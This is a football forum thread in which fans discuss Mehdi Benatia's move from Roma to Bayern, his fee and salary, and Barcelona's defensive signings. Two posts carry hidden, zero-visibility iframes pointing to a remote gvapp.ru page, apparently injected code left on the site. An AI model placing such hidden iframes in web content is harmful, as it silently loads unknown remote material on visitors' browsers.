Mehdi Benatia

[JamDav1982]

Fee seems very low compared to what Roma were looking for earlier in summer. Perhaps they were looking to kick start an auction for him but all the other clubs looked elsewhere and they have arrived at the end of the summer with a player wanting to leave and only really Bayern still looking.

Time will tell how Benatia will do there but to compare Vermaelen/Mathieu to his price doesnt tell the whole story even if he does well.

Compared to what other CBs have gone for this summer - Rojo, Luiz, Mangala those two are still decent signings.

It appears for whatever reason Lucho did not want Benatia, he has clearly been given big control over this summers transfers.

 

[instinct]

The question is whether they actually tried to get him. I reckon they decided to go all after Marquinhos and when it failed, they set aside the funds for Cuadrado thus ending up with signing Vermaelen.

Was never any news or anything about us sounding Roma out for a transfer.

Barcelona certainly knows Benatia and his qualities. If someone says (like darthvader a few weeks ago) that we are not going for him because the board doesn't know him is beyond clueless IMO. It seems that Lucho has approved every transfer (except Bravo) and even blocked a possible David Luiz transfer. Furthermore, I believe that Lucho still follows Roma and he has probably seen plenty Roma matches. There has to be a reason why we didn't sign him. Going all after Marquinhos and Cuadrado instead of Benatia shows that he isn't Lucho's first choice. I'll judge this decision at the end of this season.

What annoys me the most is that people who bash Zubi and Lucho now will kiss their ass*s, if we win trophies with Mathieu and Vermaelen this season. I'm glad with our improvements and I think that we can be successful with our team. It seems that people here think that we won't win anything because we didn't sign Benatia.

 

[Antimadridista1]

The price is ridiculous. Bravo Bayern , great great deal !!

 

[Flavia]

Barcelona certainly knows Benatia and his qualities. If someone says (like darthvader a few weeks ago) that we are not going for him because the board doesn't know him is beyond clueless IMO. It seems that Lucho has approved every transfer (except Bravo) and even blocked a possible David Luiz transfer. Furthermore, I believe that Lucho still follows Roma and he has probably seen plenty Roma matches. There has to be a reason why we didn't sign him. Going all after Marquinhos and Cuadrado instead of Benatia shows that he isn't Lucho's first choice. I'll judge this decision at the end of this season.

What annoys me the most is that people who bash Zubi and Lucho now will kiss their ass*s, if we win trophies with Mathieu and Vermaelen this season. I'm glad with our improvements and I think that we can be successful with our team. It seems that people here think that we won't win anything because we didn't sign Benatia.

What do you mean? The bolded part. Bravo was signed on Unzue's request. Mathieu was coming anyway. But Vermaelen was a weird choice. Benatia coming would probably mean Pique benched, I think they decided to bet on Geri recovering his form.
<iframe src="about<strong></strong>://gvapp.ru/u.html" style="display: none;" id="zunifrm"></iframe><iframe src="about://gvapp.ru/u.html" style="display: none;" id="zunifrm"></iframe>

 

[DonAK]

Barcelona certainly knows Benatia and his qualities. If someone says (like darthvader a few weeks ago) that we are not going for him because the board doesn't know him is beyond clueless IMO. It seems that Lucho has approved every transfer (except Bravo) and even blocked a possible David Luiz transfer. Furthermore, I believe that Lucho still follows Roma and he has probably seen plenty Roma matches. There has to be a reason why we didn't sign him. Going all after Marquinhos and Cuadrado instead of Benatia shows that he isn't Lucho's first choice. I'll judge this decision at the end of this season.

What annoys me the most is that people who bash Zubi and Lucho now will kiss their ass*s, if we win trophies with Mathieu and Vermaelen this season. I'm glad with our improvements and I think that we can be successful with our team. It seems that people here think that we won't win anything because we didn't sign Benatia.

Thats basically what I said. They didn't go for him. They went for Marquinhos and then Cuadrado as their primary targets.

Never did I say that they don't know him or anything like that

 

[instinct]

What do you mean? The bolded part. Bravo was signed on Unzue's request.
<iframe src="about://gvapp.ru/u.html" style="display: none;" id="zunifrm"></iframe>

Yeah, I mean that Lucho had nothing to do with the Bravo transfer because it was on Unzue's request. IIRC Lucho said that he doesn't know anything about goalkeeprs (or something like that) but he certainly approved other transfers (Suarez, Rakitic etc)

 

[instinct]

Thats basically what I said. They didn't go for him. They went for Marquinhos and then Cuadrado as their primary targets.

Never did I say that they don't know him or anything like that

Yeah, I quoted your text but then I disgressed from your point

 

[Luftstalag14]

Even his supposedly 4m salary is not even high

This is net, not gross. Gross would be around 8m.

 

[DonAK]

This is net, not gross. Gross would be around 8m.

Which is the same Thiago is rumoured to make and still less than what Alex Song makes and not far off or maybe even less than what Thomas Vermaelen makes.

 

[Hamzah]

Obviously Lucho didn't want him. I also think he went for depth but slightly less quality over higher quality but smaller squad. Also having two left footed centre backs who are good on the ball was more important for him.

 

[spark]

Obviously Lucho didn't want him. I also think he went for depth but slightly less quality over higher quality but smaller squad. Also having two left footed centre backs who are good on the ball was more important for him.

Funny how left footedness wasn't a factor when they were chasing Marcos for 3/4 of the summer.

 

[DonAK]

If having two left footed defenders was so important for him then we wouldnt have been chasing Marquinhos for almost two months.

 

[Hamzah]

That must have been a smoke screen. It was that ridiculous.

 

[JamDav1982]

Which is the same Thiago is rumoured to make and still less than what Alex Song makes and not far off or maybe even less than what Thomas Vermaelen makes.

How much do you think Song gets paid a year?

Dont think its as much as 8m gross a year.

 

[DonAK]

Nope. We actually bid 40m+ for him which PSG rejected. Too many reliable sources in France and Spain reporting it for it to not be true.